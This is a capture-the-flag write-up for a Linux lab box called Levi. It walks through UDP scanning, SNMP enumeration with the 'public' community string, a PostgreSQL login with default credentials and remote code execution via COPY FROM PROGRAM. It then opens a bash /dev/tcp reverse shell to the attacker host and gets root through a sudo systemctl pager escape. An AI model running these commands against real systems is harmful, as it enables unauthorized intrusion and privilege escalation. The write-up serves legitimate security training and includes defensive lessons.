Linux Easy 2026-05-02

Levi Writeup — From SNMP Walk to COPY FROM PROGRAM

SNMP PostgreSQL systemctl GTFOBins
⏱ approx. 18 min views 114

Levi Writeup — From SNMP Walk to COPY FROM PROGRAM #

In this writeup we tackle the Linux Easy box Levi. Being Easy, it's pretty quick — if you're just getting started, it's a fun one to try cold without reading anyone's solution.

To keep things interesting, we won't lean on the usual TCP port scan: I'll show a different way of fingerprinting the running services.


Attack chain:

  1. Enumeration: UDP port scan reveals SNMP (161/udp)
  2. Foothold: snmpwalk → leak the running PostgreSQL → connect with default credentials → COPY FROM PROGRAM for RCE
  3. TTY upgrade: python3 pty.spawn + stty raw -echo to upgrade the nc reverse shell into a full TTY
  4. Privilege escalation: abuse sudo systemctl (NOPASSWD) via the GTFOBins technique to land root

1. Enumeration #

1.1 Find your IP and stash it in an env var #

Let's get started. As a habit, I park my own IP in an environment variable up front — it makes everything that follows shorter to type.

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.106/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0

$ export IP=192.168.56.106
$ echo $IP
192.168.56.106

1.2 Find the target IP (netdiscover) #

Now we need the target's IP. There are several ways to do this; I usually reach for Nmap or netdiscover. We'll use netdiscover here.

$ sudo netdiscover -i eth0 -r 192.168.56.0/24
netdiscover output

Two candidates show up, but checking the MAC addresses confirms 192.168.56.50 is the target. Let's stash that in an env var too.

$ export targetIP=192.168.56.50
$ echo $targetIP
192.168.56.50

1.3 Identify services with a UDP scan #

Time to find out what services are running. Instead of the usual TCP scan, let's go in with UDP and see what attack-relevant services pop up.

$ sudo nmap -sU --top-ports 20 $targetIP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 07:19 -0400
Nmap scan report for 192.168.56.50
Host is up (0.0035s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
...
161/udp   open          snmp
162/udp   open|filtered snmptrap
...
MAC Address: 08:00:27:A1:AC:90 (Oracle VirtualBox virtual NIC)

The UDP scan tells us SNMP (161/udp) is up. That's our way in.

💡 Quick SNMP refresher

SNMP comes in v1 / v2c / v3, and v1 and v2c are the vulnerable ones. Specifically:

  • Authentication is just a plaintext community string
  • Default community strings (public for read, private for write) are routinely left in place
  • Traffic is unencrypted

So if you can guess the community string, you can pull system info, process lists, and network details out wholesale.


2. Foothold / User Flag #

2.1 Pulling info via SNMP #

Start with the classic default community string — public.

$ snmpwalk -v2c -c public $targetIP | head -30
iso.3.6.1.2.1.1.1.0 = STRING: "Linux levi 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (66950) 0:11:09.50
iso.3.6.1.2.1.1.4.0 = STRING: "Levi Ackerman"
iso.3.6.1.2.1.1.5.0 = STRING: "levi"
iso.3.6.1.2.1.1.6.0 = STRING: "Wall Maria"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
...

⚠️ SNMP is wide open. The default community string public works.

💡 snmp-check gives a friendlier dump: snmp-check -c public $targetIP

Hostname levi, contact Levi Ackerman, location Wall Maria — Attack on Titan fans get a fun nod here.

Next, let's pull the process information. This is the juicy bit: the command-line arguments of running processes are visible, which sometimes leaks passwords or tells us exactly which services are alive.

# Process list (HOST-RESOURCES-MIB)
$ snmpwalk -v2c -c public $targetIP 1.3.6.1.2.1.25.4.2.1.2 | head

# Process arguments (passwords sometimes show up here)
$ snmpwalk -v2c -c public $targetIP 1.3.6.1.2.1.25.4.2.1.5 | head

Sample output:

HOST-RESOURCES-MIB::hrSWRunPath.1234 = STRING: "/usr/lib/postgresql/14/bin/postgres"
HOST-RESOURCES-MIB::hrSWRunPath.5678 = STRING: "/usr/sbin/apache2"

💡 PostgreSQL 14 is running. That's a strong hint about which credentials to try.

2.2 Connecting to PostgreSQL with default credentials #

SNMP told us PostgreSQL is running. In a security-lazy environment you'd expect either reused passwords or the defaults left untouched.

Let's try the canonical default first: postgres:postgres.

$ psql -h $targetIP -U postgres -d postgres
Password for user postgres: postgres

postgres=# \l
       List of databases
   Name    |  Owner   | Encoding
-----------+----------+---------
 postgres  | postgres | UTF8
...

⚠️ PostgreSQL is in. The default credentials are still in place.

💡 PostgreSQL default credentials worth trying:

  • postgres:postgres
  • postgres:password
  • postgres: (empty)
  • admin:admin

2.3 RCE via COPY FROM PROGRAM #

PostgreSQL 9.3 and later support COPY FROM PROGRAM, which pipes the output of a shell command into a table. It's a well-known RCE vector.

postgres=# CREATE TABLE shell(cmd_output text);
postgres=# COPY shell FROM PROGRAM 'id';
postgres=# SELECT * FROM shell;
       cmd_output
----------------------------------------
 uid=109(postgres) gid=109(postgres) groups=109(postgres)

💡 COPY FROM PROGRAM is meant for importing data by running a shell command under the postgres process. Only authenticated DB users can use it — but the moment they can, it's effectively RCE.

Now let's catch a reverse shell.

First, start a listener on the Kali side:

$ nc -lvnp 4444
listening on [any] 4444 ...

Then run this from the target's psql session:

postgres=# COPY shell FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<host IP, the literal address — not the env var>/4444 0>&1"';

Our nc listener catches a shell as the postgres user.

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.50] xxxxx
postgres@levi:/$

Grab the user flag while we're here.

postgres@levi:/$ cat /home/postgres/user.txt
# (User Flag)

3. Privilege Escalation: sudo systemctl (GTFOBins) #

3.1 Check sudo privileges #

The classic sudo -l:

postgres@levi:~$ sudo -l
Matching Defaults entries for postgres on levi:
    env_reset, mail_badpass

User postgres may run the following commands on levi:
    (root) NOPASSWD: /usr/bin/systemctl

⚠️ systemctl is allowed with NOPASSWD. It's a service-management command, but a quick GTFOBins check shows it's exploitable.

3.2 Upgrade the reverse shell to a TTY (prerequisite) #

Tempting as it is to fire sudo systemctl right now, the shell-escape from inside less won't behave reliably until we have a real TTY.

The reverse shell we got from COPY FROM PROGRAM will greet you with something like this on login:

bash: cannot set terminal process group
bash: no job control in this shell

That's a stripped-down shell with no full controlling terminal (TTY). In this state, interactive commands like less, vim, and sudo misbehave — try the !sh shell-escape from inside systemctl's pager (less) and you'll see it crash or eat your keystrokes.

So we upgrade the reverse shell to a pseudo-TTY. Steps:

Step 1: Spawn a pseudo-TTY on the target

postgres@levi:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@levi:/$

⚠️ Levi has python3 only — there's no python. Run python -c '...' and you'll get Command 'python' not found, did you mean: command 'python3' from deb python3. Use python3 directly.

Step 2: Suspend nc on the Kali side and put the local terminal into raw mode

# Press Ctrl + Z while you're on the target shell
^Z
zsh: suspended  nc -lvnp 4444

# Back on Kali, run the following on a single line: stty raw -echo; fg
$ stty raw -echo; fg
Setting Meaning
stty raw Pass input straight through to the remote side (no line buffering, no special-key handling)
-echo Stop echoing input characters locally
fg Bring the suspended nc session back to the foreground

Now arrow keys, Ctrl combinations, Enter, and screen-control sequences all flow to the target as-is.

Step 3: Set TERM and the screen size on the target

After fg puts you back on the target:

$ export TERM=xterm
$ stty rows 40 columns 120
  • TERM=xterm — tells pagers like less what kind of terminal to draw for
  • stty rows / columns — gives the pager the right screen size (without it, expect garbled output and misaligned input)

Now the shell-escape from inside less (which sudo systemctl invokes) will run reliably.

💡 Why bother: sudo systemctl itself launches without a TTY. But its pager less takes over the screen and needs a TTY — without one, your input never reaches the escape, and !sh dies on the spot. The vulnerability is the NOPASSWD on /usr/bin/systemctl — the TTY upgrade is just the prep work that makes exploiting it stable.

3.3 Abusing systemctl per GTFOBins #

systemctl (with no arguments, or with sub-commands like status whose output is long) pipes its output into a pager — less by default. When run via sudo, that less also runs as root, so a shell-escape from inside less lands you a root shell.

# One of the GTFOBins systemctl entries
postgres@levi:/$ sudo systemctl
(systemctl command listing shows up in less)

# At less's `:` prompt, type the following to escape to a shell
!/bin/sh

less's !command runs an external command. The /bin/sh it spawns is a child of the less process — which is itself a child of sudo systemctl running as root — so the new shell inherits root.

# Confirm with id
# id
uid=0(root) gid=0(root) groups=0(root)

# Root flag
# cat /root/root.txt
c74846012c0c118d62905995f2e874ec

Root flag captured.

💡 Alternative: if the pager doesn't trigger (output is short), force it: sudo SYSTEMD_PAGER=/bin/sh systemctl.

💡 Another route: drop a malicious systemd unit file, link it with systemctl link, then systemctl start to run it as root.

⚠️ Common pitfall: !sh does sometimes work, but on a half-broken TTY !/bin/sh is more reliable. If you've made it to sudo systemctl and the shell keeps dying or refusing input, you almost certainly skipped the TTY upgrade in 3.2.


4. Attack path summary #

Step Phase Action Result
1 Enumeration netdiscover finds the target 192.168.56.50
2 Enumeration UDP top-ports scan 161/udp (SNMP) found
3 Foothold snmpwalk for system info community public works
4 Foothold snmpwalk for process arguments confirmed PostgreSQL 14
5 Foothold psql with default credentials logged in as postgres:postgres
6 Foothold COPY FROM PROGRAM RCE as the postgres user
7 TTY upgrade python3 pty.spawnCtrl+Zstty raw -echo; fgTERM=xterm / stty rows 40 columns 120 full TTY
8 PrivEsc sudo -l check systemctl is NOPASSWD
9 PrivEsc sudo systemctl + !/bin/sh from inside less uid=0(root)

5. Takeaways #

Offensive lessons #

  • TCP-only scans miss services — SNMP here was UDP. Just adding -sU reshapes the attack surface.
  • SNMP v1/v2c will hand over a lot of information just by trying community string public.
  • Process arguments (hrSWRunPath, hrSWRunParameters) are a goldmine — passwords and running services often surface there.
  • PostgreSQL's COPY FROM PROGRAM is RCE the moment you have any DB user.
  • When sudo -l shows allowed commands, check GTFOBins first — it's the rule.
  • A nc reverse shell is not a full TTY. Before you reach for any interactive command — less, vim, anything that goes through a pager and lets you escape to a shell — upgrade with python3 pty.spawn + stty raw -echo. It's not the vulnerability; it's the prep work that makes exploiting one stable.

Defensive lessons #

  • Move SNMP to v3, or at minimum replace the community string with a strong value and ACL the source addresses.
  • Always change PostgreSQL's default credentials. Restrict source addresses in pg_hba.conf.
  • Don't hand systemctl to a user with NOPASSWD sudo. If you really must, scope it down to the specific sub-commands you actually need.
  • Keep SNMP and database services off the public network — firewall them, or bind to localhost only.

It's an Easy box, but it teaches a lot at once:

  • why UDP services matter, when you'd otherwise only scan TCP
  • the chain of SNMP → credential guessing → DB → RCE
  • a textbook GTFOBins abuse

Solid as a teaching machine. See you on the next one.